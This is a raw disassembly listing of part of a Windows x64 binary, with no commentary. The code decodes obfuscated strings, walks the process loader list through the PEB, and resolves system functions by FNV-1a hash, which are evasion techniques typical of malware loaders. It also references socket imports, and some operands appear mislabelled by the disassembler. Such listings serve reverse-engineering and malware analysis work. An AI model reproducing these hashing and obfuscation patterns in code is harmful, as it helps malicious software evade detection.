call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0xcf7aec834cc5a39d
call fcn.140010d10
mov qword [0x1401c81e8], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x14001433e
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0x6bed4a20ab1a3bb2
call fcn.140010d10
mov qword [0x1401c81f8], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x14001436f
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0x854eca64b17f3f9f
call fcn.140010d10
mov qword [0x1401c81c0], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x1400143a0
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
jmp 0x1400143d3
movabs rdx, 0xa9f0298243afc7d4
call fcn.140010d10
mov qword [0x1401c81e0], rax
lea rcx, [rbp - 0x20]
test rax, rax
jne 0x140014945
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
mov cl, 0x76
mov dl, 0x6c
mov r8b, 6
mov r9b, 0x6a
mov r10b, 0x7c
mov r11b, 0xa9
mov bl, 0x7b
mov dil, 9
mov sil, 0xa
movzx r14d, cl
mov r15b, 0xc
mov r12b, 0x83
xor r13d, r13d
mov dword [rbp - 0x64], r13d
mov word [rbp - 0x60], r13w
movzx eax, cl
and al, 0xc2
sub byte [rbp - 0x48], al
mov eax, dword [rbp - 0x48]
add al, al
add cl, al
mov byte [rbp - 0x70], cl
movzx eax, dl
and al, 0xc3
add al, al
mov ecx, 0x75
sub cl, al
add dl, cl
mov byte [rbp - 0x6f], dl
movzx eax, r8b
and al, 0xc4
mov ecx, 0x3b
sub cl, al
add cl, cl
add r8b, cl
mov byte [rbp - 0x6e], r8b
movzx eax, r9b
and al, 0xc5
add al, al
mov ecx, 0x77
sub cl, al
add r9b, cl
mov byte [rbp - 0x6d], r9b
movzx eax, r10b
and al, 0xc6
mov ecx, 0x3c
sub cl, al
add cl, cl
add r10b, cl
mov byte [rbp - 0x6c], r10b
movzx eax, r11b
and al, 0xc7
add al, al
mov ecx, 0x79
sub cl, al
add r11b, cl
mov byte [rbp - 0x6b], r11b
movzx eax, bl
and al, 0xc8
mov ecx, 0x3d
sub cl, al
add cl, cl
add bl, cl
mov byte [rbp - 0x6a], bl
movzx eax, dil
and al, 0xc9
add al, al
mov ecx, 0x7b
sub cl, al
add dil, cl
mov byte [rbp - 0x69], dil
movzx eax, sil
and al, 0xca
mov ecx, 0x3e
sub cl, al
add cl, cl
add sil, cl
mov byte [rbp - 0x68], sil
movzx eax, r14b
and al, 0xcb
add al, al
mov ecx, 0x7d
sub cl, al
add r14b, cl
mov byte [rbp - 0x67], r14b
movzx eax, r15b
and al, 0xcc
mov ecx, 0x3f
sub cl, al
add cl, cl
add r15b, cl
mov byte [rbp - 0x66], r15b
movzx eax, r12b
and al, 0xcd
add al, al
mov edx, 0x7f
sub dl, al
add r12b, dl
mov byte [rbp - 0x65], r12b
movzx eax, r13b
and al, 0xce
add al, al
mov edx, 0x80
sub dl, al
lea ecx, [rdx + r13]
mov byte [rbp - 0x64], cl
movzx ecx, byte [rbp - 0x63]
movzx eax, cl
and al, 0xcf
add al, al
mov edx, 0x81
sub dl, al
add cl, dl
mov byte [rbp - 0x63], cl
movzx ecx, byte [rbp - 0x62]
movzx eax, cl
and al, 0xd0
add al, al
mov edx, 0x82
sub dl, al
add cl, dl
mov byte [rbp - 0x62], cl
movzx ecx, byte [rbp - 0x61]
movzx eax, cl
and al, 0xd1
add al, al
mov edx, 0x83
sub dl, al
add cl, dl
mov byte [rbp - 0x61], cl
movzx eax, r13b
and al, 0xd2
add al, al
mov edx, 0x84
sub dl, al
lea ecx, [rdx + r13]
mov byte [rbp - 0x60], cl
movzx ecx, byte [rbp - 0x5f]
movzx eax, cl
and al, 0xd3
add al, al
mov edx, 0x85
sub dl, al
add cl, dl
mov byte [rbp - 0x5f], cl
movzx eax, r13b
and al, 0xd4
add al, al
mov ecx, 0x86
sub cl, al
add r13b, cl
mov byte [rbp - 0x5e], r13b
mov dl, 0x50
mov r8b, 0x5a
mov r9b, 0x53
mov r10b, 0x57
mov r11b, 0x5d
mov bl, 0x59
mov dil, 0x9c
mov sil, 0x2b
mov r14b, 0x2f
mov r15b, 0x81
mov r12b, 0x4b
mov r13b, 0x4d
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x67], rax
mov dword [rsp + 0x6f], eax
movzx ecx, dl
and cl, 0x67
add cl, cl
mov eax, 0x96
sub al, cl
add dl, al
mov byte [rsp + 0x50], dl
movzx ecx, r8b
and cl, 0x68
add cl, cl
mov eax, 0x97
sub al, cl
add r8b, al
mov byte [rsp + 0x51], r8b
movzx ecx, r9b
and cl, 0x69
add cl, cl
mov eax, 0x98
sub al, cl
add r9b, al
mov byte [rsp + 0x52], r9b
movzx ecx, r10b
and cl, 0x6a
add cl, cl
mov eax, 0x99
sub al, cl
add r10b, al
mov byte [rsp + 0x53], r10b
movzx ecx, r11b
and cl, 0x6b
add cl, cl
mov eax, 0x9a
sub al, cl
add r11b, al
mov byte [rsp + 0x54], r11b
movzx ecx, bl
and cl, 0x6c
add cl, cl
mov eax, 0x9b
sub al, cl
add bl, al
mov byte [rsp + 0x55], bl
movzx ecx, dil
and cl, 0x6d
add cl, cl
mov eax, 0x9c
sub al, cl
add dil, al
mov byte [rsp + 0x56], dil
movzx ecx, sil
and cl, 0x6e
add cl, cl
mov eax, 0x9d
sub al, cl
add sil, al
mov byte [rsp + 0x57], sil
movzx ecx, r14b
and cl, 0x6f
add cl, cl
mov eax, 0x9e
sub al, cl
add r14b, al
mov byte [rsp + 0x58], r14b
movzx ecx, r15b
and cl, 0x70
add cl, cl
mov eax, 0x9f
sub al, cl
add r15b, al
mov byte [rsp + 0x59], r15b
movzx ecx, r12b
and cl, 0x71
add cl, cl
mov eax, 0xa0
sub al, cl
add r12b, al
mov byte [rsp + 0x5a], r12b
movzx ecx, r13b
and cl, 0x72
add cl, cl
mov eax, 0xa1
sub al, cl
add r13b, al
mov byte [rsp + 0x5b], r13b
mov dl, 0x49
movzx ecx, dl
and cl, 0x73
add cl, cl
mov eax, 0xa2
sub al, cl
add dl, al
mov byte [rsp + 0x5c], dl
mov dl, 0x31
movzx ecx, dl
and cl, 0x74
add cl, cl
mov eax, 0xa3
sub al, cl
add dl, al
mov byte [rsp + 0x5d], dl
mov dl, 0x84
movzx ecx, dl
and cl, 0x75
add cl, cl
mov eax, 0xa4
sub al, cl
add dl, al
mov byte [rsp + 0x5e], dl
mov dl, 0x32
movzx ecx, dl
and cl, 0x76
add cl, cl
mov eax, 0xa5
sub al, cl
add dl, al
mov byte [rsp + 0x5f], dl
mov dl, 0x3d
movzx ecx, dl
and cl, 0x77
add cl, cl
mov eax, 0xa6
sub al, cl
add dl, al
mov byte [rsp + 0x60], dl
mov dl, 0x3c
movzx ecx, dl
and cl, 0x78
add cl, cl
mov eax, 0xa7
sub al, cl
add dl, al
mov byte [rsp + 0x61], dl
mov dl, 0x3c
movzx ecx, dl
and cl, 0x79
add cl, cl
mov eax, 0xa8
sub al, cl
add dl, al
mov byte [rsp + 0x62], dl
mov dl, 0x4c
movzx ecx, dl
and cl, 0x7a
add cl, cl
mov eax, 0xa9
sub al, cl
add dl, al
mov byte [rsp + 0x63], dl
mov dl, 0x45
movzx ecx, dl
and cl, 0x7b
add cl, cl
mov eax, 0xaa
sub al, cl
add dl, al
mov byte [rsp + 0x64], dl
mov dl, 0x8e
movzx ecx, dl
and cl, 0x7c
add cl, cl
mov eax, 0xab
sub al, cl
add dl, al
mov byte [rsp + 0x65], dl
mov dl, 0xac
movzx ecx, dl
and cl, 0x7d
add cl, cl
mov eax, 0xac
sub al, cl
add dl, al
mov byte [rsp + 0x66], dl
mov r8, qword [rsp + 0x30]
movzx ecx, r8b
and cl, 0x7e
add cl, cl
mov eax, 0xad
sub al, cl
lea edx, [rax + r8]
mov byte [rsp + 0x67], dl
movzx edx, byte [rsp + 0x68]
movzx ecx, dl
and cl, 0x7f
add cl, cl
mov eax, 0xae
sub al, cl
add dl, al
mov byte [rsp + 0x68], dl
movzx edx, byte [rsp + 0x69]
movzx ecx, dl
and cl, 0x80
add cl, cl
mov eax, 0xaf
sub al, cl
add dl, al
mov byte [rsp + 0x69], dl
movzx edx, byte [rsp + 0x6a]
movzx ecx, dl
and cl, 0x81
add cl, cl
mov eax, 0xb0
sub al, cl
add dl, al
mov byte [rsp + 0x6a], dl
movzx edx, byte [rsp + 0x6b]
movzx ecx, dl
and cl, 0x82
add cl, cl
mov eax, 0xb1
sub al, cl
add dl, al
mov byte [rsp + 0x6b], dl
movzx edx, byte [rsp + 0x6c]
movzx ecx, dl
and cl, 0x83
add cl, cl
mov eax, 0xb2
sub al, cl
add dl, al
mov byte [rsp + 0x6c], dl
movzx edx, byte [rsp + 0x6d]
movzx ecx, dl
and cl, 0x84
add cl, cl
mov eax, 0xb3
sub al, cl
add dl, al
mov byte [rsp + 0x6d], dl
movzx edx, byte [rsp + 0x6e]
movzx ecx, dl
and cl, 0x85
add cl, cl
mov eax, 0xb4
sub al, cl
add dl, al
mov byte [rsp + 0x6e], dl
movzx ecx, r8b
and cl, 0x86
add cl, cl
mov eax, 0xb5
sub al, cl
lea edx, [rax + r8]
mov byte [rsp + 0x6f], dl
movzx edx, byte [rsp + 0x70]
movzx ecx, dl
and cl, 0x87
add cl, cl
mov eax, 0xb6
sub al, cl
add dl, al
mov byte [rsp + 0x70], dl
movzx edx, byte [rsp + 0x71]
movzx ecx, dl
and cl, 0x88
add cl, cl
mov eax, 0xb7
sub al, cl
add dl, al
mov byte [rsp + 0x71], dl
movzx edx, byte [rsp + 0x72]
movzx ecx, dl
and cl, 0x89
add cl, cl
mov eax, 0xb8
sub al, cl
add dl, al
mov byte [rsp + 0x72], dl
movzx ecx, r8b
and cl, 0x8a
add cl, cl
mov eax, 0xb9
sub al, cl
add r8b, al
mov byte [rsp + 0x73], r8b
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x50]
jmp 0x14001606d
call fcn.140010910
nop
lea rcx, [rbp - 0x20]
call fcn.140010910
nop
movabs rcx, 0xacff7963fae19fa3
call fcn.140010b90
test rax, rax
je 0x140014c4a
mov dl, 0x66
mov r8b, 0x60
mov r9b, 0x76
mov r10b, 0x62
mov r11b, 0x68
mov bl, 0x25
mov dil, 0x63
mov sil, 0x75
mov r14b, 0x7a
movzx r15d, dl
mov r12b, 0x78
mov r13b, 0xb
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x14], rax
mov word [rbp - 0xc], ax
movzx eax, dl
and al, 0x80
movzx eax, al
imul ecx, eax, 0xfe
add dl, cl
mov byte [rbp - 0x20], dl
movzx eax, r8b
and al, 0x81
add al, al
mov ecx, 1
sub cl, al
add r8b, cl
mov byte [rbp - 0x1f], r8b
movzx ecx, r9b
and cl, 0x82
add cl, cl
mov edx, 2
mov eax, edx
sub al, cl
add r9b, al
mov byte [rbp - 0x1e], r9b
movzx ecx, r10b
and cl, 0x83
add cl, cl
mov r9d, 3
mov eax, r9d
sub al, cl
add r10b, al
mov byte [rbp - 0x1d], r10b
movzx eax, r11b
and al, 0x84
sub dl, al
add dl, dl
add r11b, dl
mov byte [rbp - 0x1c], r11b
movzx ecx, bl
and cl, 0x85
add cl, cl
mov r8d, 5
mov eax, r8d
sub al, cl
add bl, al
mov byte [rbp - 0x1b], bl
movzx eax, dil
and al, 0x86
sub r9b, al
add r9b, r9b
add dil, r9b
mov byte [rbp - 0x1a], dil
movzx ecx, sil
and cl, 0x87
add cl, cl
mov r9d, 7
mov eax, r9d
sub al, cl
add sil, al
mov byte [rbp - 0x19], sil
movzx eax, r14b
and al, 0x88
mov edx, 4
sub dl, al
add dl, dl
add r14b, dl
mov byte [rbp - 0x18], r14b
movzx ecx, r15b
and cl, 0x89
add cl, cl
mov r10d, 9
mov eax, r10d
sub al, cl
add r15b, al
mov byte [rbp - 0x17], r15b
movzx eax, r12b
and al, 0x8a
sub r8b, al
add r8b, r8b
add r12b, r8b
mov byte [rbp - 0x16], r12b
movzx ecx, r13b
and cl, 0x8b
add cl, cl
mov r11d, recv
mov eax, r11d
sub al, cl
add r13b, al
mov byte [rbp - 0x15], r13b
mov r8, qword [rsp + 0x30]
movzx eax, r8b
and al, 0x8c
mov edx, 6
sub dl, al
add dl, dl
lea ecx, [rdx + r8]
mov byte [rbp - 0x14], cl
movzx ecx, byte [rbp - 0x13]
movzx eax, cl
and al, 0x8d
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x13], cl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0x8e
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x8f
add al, al
mov edx, recvfrom
sub dl, al
add cl, dl
mov byte [rbp - 0x11], cl
movzx edx, byte [rbp - 0x10]
movzx eax, dl
and al, 0x90
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
mov byte [rbp - 0x10], dl
movzx edx, byte [rbp - 0xf]
movzx ecx, dl
and cl, 0x91
add cl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, cl
add dl, al
mov byte [rbp - 0xf], dl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x92
sub r10b, al
add r10b, r10b
add cl, r10b
mov byte [rbp - 0xe], cl
movzx ecx, byte [rbp - 0xd]
movzx eax, cl
and al, 0x93
add al, al
mov edx, dword [rbp - 0x40]
sub dl, al
add cl, dl
mov byte [rbp - 0xd], cl
movzx eax, r8b
and al, 0x94
mov edx, 0xa
sub dl, al
add dl, dl
lea ecx, [rdx + r8]
mov byte [rbp - 0xc], cl
movzx ecx, byte [rbp - 0xb]
movzx eax, cl
and al, 0x95
add al, al
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add cl, dl
mov byte [rbp - 0xb], cl
movzx eax, r8b
and al, 0x96
sub r11b, al
add r11b, r11b
add r8b, r11b
mov byte [rbp - 0xa], r8b
mov dword [rsp + 0x50], 0xf9f88c93
mov dword [rsp + 0x54], 0xe946e5fb
mov dword [rsp + 0x58], 0xe842f7e9
mov dword [rsp + 0x5c], 0x828af8f8
mov dword [rsp + 0x60], 0xe4dbe03c
mov dword [rsp + 0x64], 0x37998038
mov dword [rsp + 0x68], 0x8180989a
mov dword [rsp + 0x6c], 0x2e958389
mov byte [rsp + 0x70], recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x71], xmm0
mov qword [rbp - 0x7f], rax
mov dword [rbp - 0x77], eax
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [rsp + r9 + 0x50]
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r9 + 0x50], cl
inc r9
cmp r9, 0x3d
jb 0x140014c10
lea r8, [rbp - 0x20]
lea rdx, [rsp + 0x50]
jmp 0x14001606d
mov r14d, r12d
mov esi, 0x61a9670e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
cmp qword [rax + 0x30], 0
je 0x140014e6a
cmp word [rax + 0x48], 0
je 0x140014e6a
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140014ce3
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x23e6ff40
cmp r9, r11
je 0x140014cda
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140014cb0
cmp r10d, r14d
jne 0x140014e6a
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
shr r12, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x140014e6a
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x140014e6a
mov r13d, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [rbx*2]
add rcx, r13
movzx edx, word [rcx + r11]
lea rcx, [r9 + rdx*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov qword [rbp - 0x28], rdx
lea rcx, [r10 + rbx*4]
mov r9d, dword [rcx + r11]
add r9, r11
cmp rdx, rdi
jbe 0x140014d5f
lea rcx, [r12 + rdi]
cmp rdx, rcx
jae 0x140014d5f
mov r15b, 1
jmp 0x140014d62
xor r15b, r15b
mov r10d, 0x23e6ff40
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140014daf
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140014d80
mov rdx, qword [rbp - 0x28]
cmp r10d, esi
je 0x140014dcc
test ebx, ebx
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140014d20
mov rax, qword [rax]
jmp 0x140014c63
test r15b, r15b
je 0x140014e72
mov esi, 0x23e6ff40
mov r14d, esi
movzx r8d, byte [rdx]
cmp r8b, 0x2e
je 0x140014e1b
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdx
movzx r8d, byte [rdx]
cmp r8b, 0x2e
jne 0x140014df0
inc rdx
movzx r8d, byte [rdx]
test r8b, r8b
je 0x140014e59
nop word [rax + rax]
movsx eax, r8b
sub r8b, 0x41
mov ecx, eax
or ecx, 0x20
cmp r8b, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jne 0x140014e30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014c63
mov dl, 0x88
mov r8b, 0x8e
mov r9b, 0xb5
mov r10b, 0xb4
mov r11b, 0xa9
mov bl, 0x97
mov dil, 0x53
mov sil, 0x92
mov r14b, 0x9c
mov r15b, 0x99
mov r12b, 2
xor r13d, r13d
mov qword [rbp - 0x15], r13
mov word [rbp - 0xd], r13w
movzx ecx, dl
and cl, 0x2c
add cl, cl
mov eax, 0xf8
sub al, cl
add dl, al
mov byte [rbp - 0x20], dl
movzx ecx, r8b
and cl, 0x2d
add cl, cl
mov eax, 0xf9
sub al, cl
add r8b, al
mov byte [rbp - 0x1f], r8b
movzx ecx, r9b
and cl, 0x2e
add cl, cl
mov eax, 0xfa
sub al, cl
add r9b, al
mov byte [rbp - 0x1e], r9b
movzx ecx, r10b
and cl, 0x2f
add cl, cl
mov eax, 0xfb
sub al, cl
add r10b, al
mov byte [rbp - 0x1d], r10b
movzx ecx, r11b
and cl, 0x30
add cl, cl
mov eax, 0xfc
sub al, cl
add r11b, al
mov byte [rbp - 0x1c], r11b
movzx ecx, bl
and cl, 0x31
add cl, cl
mov eax, 0xfd
sub al, cl
add bl, al
mov byte [rbp - 0x1b], bl
movzx ecx, dil
and cl, 0x32
add cl, cl
mov eax, 0xfe
sub al, cl
add dil, al
mov byte [rbp - 0x1a], dil
movzx ecx, sil
and cl, 0x33
add cl, cl
mov eax, 0xff
sub al, cl
add sil, al
mov byte [rbp - 0x19], sil
movzx eax, r14b
and al, 0x34
movzx eax, al
imul ecx, eax, 0xfe
add r14b, cl
mov byte [rbp - 0x18], r14b
movzx eax, r15b
and al, 0x35
add al, al
mov ecx, 1
sub cl, al
add r15b, cl
mov byte [rbp - 0x17], r15b
movzx ecx, r12b
and cl, 0x36
add cl, cl
mov r8d, 2
mov eax, r8d
sub al, cl
add r12b, al
mov byte [rbp - 0x16], r12b
movzx ecx, r13b
and cl, 0x37
add cl, cl
mov r9d, 3
mov eax, r9d
sub al, cl
lea edx, [rax + r13]
mov byte [rbp - 0x15], dl
movzx ecx, byte [rbp - 0x14]
movzx eax, cl
and al, 0x38
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0x14], cl
movzx edx, byte [rbp - 0x13]
movzx ecx, dl
and cl, 0x39
add cl, cl
mov r8d, 5
mov eax, r8d
sub al, cl
add dl, al
mov byte [rbp - 0x13], dl
movzx ecx, byte [rbp - 0x12]
movzx eax, cl
and al, 0x3a
sub r9b, al
add r9b, r9b
add cl, r9b
mov byte [rbp - 0x12], cl
movzx ecx, byte [rbp - 0x11]
movzx eax, cl
and al, 0x3b
add al, al
mov r9d, 7
sub r9b, al
add cl, r9b
mov byte [rbp - 0x11], cl
movzx ecx, byte [rbp - 0x10]
movzx eax, cl
and al, 0x3c
mov edx, 4
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0x10], cl
movzx ecx, byte [rbp - 0xf]
movzx eax, cl
and al, 0x3d
add al, al
mov r10d, 9
sub r10b, al
add cl, r10b
mov byte [rbp - 0xf], cl
movzx ecx, byte [rbp - 0xe]
movzx eax, cl
and al, 0x3e
sub r8b, al
add r8b, r8b
add cl, r8b
mov byte [rbp - 0xe], cl
movzx eax, r13b
and al, 0x3f
add al, al
mov r11d, recv
sub r11b, al
lea ecx, [r11 + r13]
mov byte [rbp - 0xd], cl
movzx ecx, byte [rbp - 0xc]
movzx eax, cl
and al, 0x40
mov edx, 6
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0xc], cl
movzx eax, r13b
and al, 0x41
add al, al
mov edx, recvfrom
sub dl, al
add r13b, dl
mov byte [rbp - 0xb], r13b
lea r8, [rbp - 0x20]
xor edx, edx
mov ecx, 0x1f0001
call qword [rbp - 0x28]
test rax, rax
jne 0x140016079
mov esi, 0xa88eb2d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor r14d, r14d
nop dword [rax]
cmp qword [rax + 0x30], 0
je 0x1400152ca
cmp word [rax + 0x48], 0
je 0x1400152ca
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140015153
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xfffcb666
cmp r9, r11
je 0x14001514a
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140015120
cmp r10d, r14d
jne 0x1400152ca
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r12, rdx
shr r12, 0x20
mov edi, edx
add rdi, r11
cmp rdi, r11
je 0x1400152ca
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400152ca
mov edx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
nop
dec ebx
lea rcx, [r11 + rbx*2]
movzx edx, word [rcx + rdx]
lea rcx, [r11 + rdx*4]
mov r13d, dword [rcx + r9]
add r13, r11
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp r13, rdi
jbe 0x1400151c3
lea rcx, [rdi + r12]
cmp r13, rcx
jae 0x1400151c3
mov r15b, 1
jmp 0x1400151c6
xor r15b, r15b
mov r10d, 0xfffcb666
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14001520b
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400151e0
cmp r10d, esi
je 0x14001522b
test ebx, ebx
mov edx, dword [rdi + 0x24]
mov r9d, dword [rdi + 0x1c]
mov r10d, dword [rdi + 0x20]
jne 0x140015190
mov rax, qword [rax]
jmp 0x1400150d0
test r15b, r15b
je 0x1400152d2
mov esi, 0xfffcb666
mov r8d, esi
movzx edx, byte [r13]
cmp dl, 0x2e
je 0x140015278
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
inc r13
movzx edx, byte [r13]
cmp dl, 0x2e
jne 0x140015250
inc r13
movzx edx, byte [r13]
test dl, dl
je 0x1400152b6
nop dword [rax]
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea r13, [r13 + 1]
movzx edx, byte [r13]
test dl, dl
jne 0x140015290
mov r14d, r8d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400150d0
mov cl, 0xc0
mov dl, 0xce
mov r8b, 0xd5
mov r9b, 0xd4
mov r10b, 0xd1
mov r11b, 0xc7
mov bl, 0xb
mov dil, 0xca
mov sil, 0x3c
mov r14b, 0x41
movzx r15d, dil
xor r12d, r12d
mov qword [rbp + 0x1b], r12
movzx eax, cl
and al, 0x78
sub byte [rbp - 0x4c], al
mov eax, dword [rbp - 0x4c]
add al, al
add cl, al
mov byte [rbp + 0x10], cl
movzx eax, dl
and al, 0x79
add al, al
mov ecx, 0x31
sub cl, al
add dl, cl
mov byte [rbp + 0x11], dl
movzx eax, r8b
and al, 0x7a
mov ecx, 0x19
sub cl, al
add cl, cl
add r8b, cl
mov byte [rbp + 0x12], r8b
movzx eax, r9b
and al, 0x7b
add al, al
mov edx, 0x33
sub dl, al
add r9b, dl
mov byte [rbp + 0x13], r9b
movzx eax, r10b
and al, 0x7c
mov ecx, 0x1a
sub cl, al
add cl, cl
add r10b, cl
mov byte [rbp + 0x14], r10b
movzx eax, r11b
and al, 0x7d
add al, al
mov edx, 0x35
sub dl, al
add r11b, dl
mov byte [rbp + 0x15], r11b
movzx eax, bl
and al, 0x7e
mov ecx, 0x1b
sub cl, al
add cl, cl
add bl, cl
mov byte [rbp + 0x16], bl
movzx eax, dil
and al, 0x7f
add al, al
mov edx, 0x37
sub dl, al
add dil, dl
mov byte [rbp + 0x17], dil
movzx eax, sil
and al, 0x80
mov ecx, 0x1c
sub cl, al
add cl, cl
add sil, cl
mov byte [rbp + 0x18], sil
movzx eax, r14b
and al, 0x81
add al, al
mov ecx, dword [rbp - 0x50]
sub cl, al
add r14b, cl
mov byte [rbp + 0x19], r14b
movzx eax, r15b
and al, 0x82
mov ecx, 0x1d
sub cl, al
add cl, cl
add r15b, cl
mov byte [rbp + 0x1a], r15b
movzx eax, r12b
and al, 0x83
add al, al
mov ecx, 0x3b
sub cl, al
add r12b, cl
mov byte [rbp + 0x1b], r12b
movzx ecx, byte [rbp + 0x1c]
movzx eax, cl
and al, 0x84
mov edx, 0x1e
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x1c], cl
movzx ecx, byte [rbp + 0x1d]
movzx eax, cl
and al, 0x85
add al, al
mov edx, 0x3d
sub dl, al
add cl, dl
mov byte [rbp + 0x1d], cl
movzx ecx, byte [rbp + 0x1e]
movzx eax, cl
and al, 0x86
mov edx, 0x1f
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x1e], cl
movzx ecx, byte [rbp + 0x1f]
movzx eax, cl
and al, 0x87
add al, al
mov r8d, 0x3f
sub r8b, al
add cl, r8b
mov byte [rbp + 0x1f], cl
movzx ecx, byte [rbp + 0x20]
movzx eax, cl
and al, 0x88
mov edx, 0x20
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x20], cl
movzx ecx, byte [rbp + 0x21]
movzx eax, cl
and al, 0x89
add al, al
mov edx, 0x41
sub dl, al
add cl, dl
mov byte [rbp + 0x21], cl
movzx ecx, byte [rbp + 0x22]
movzx eax, cl
and al, 0x8a
mov edx, 0x21
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 0x22], cl
lea r8, [rbp + 0x10]
xor edx, edx
xor ecx, ecx
call r13
mov ebx, 4
mov rax, qword gs:[0x58]
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x1401df7c8], eax
jle 0x1400154eb
lea rcx, [0x1401df7c8]
call fcn.1400ccd50
cmp dword [0x1401df7c8], 0xffffffff
jne 0x1400154eb
lea rcx, [0x1400f9df0]
call fcn.1400cd2fc
lea rcx, [0x1401df7c8]
call fcn.1400ccce4
lea rcx, [0x1401c5530]
mov rax, qword [0x1401c5530]
call qword [rax + reloc.WS2_32.dll_recv]
mov eax, dword [rbx]
cmp dword [0x1401df7c8], eax
jle 0x140015533
lea rcx, [0x1401df7c8]
call fcn.1400ccd50
cmp dword [0x1401df7c8], 0xffffffff
jne 0x140015533
lea rcx, [0x1400f9df0]
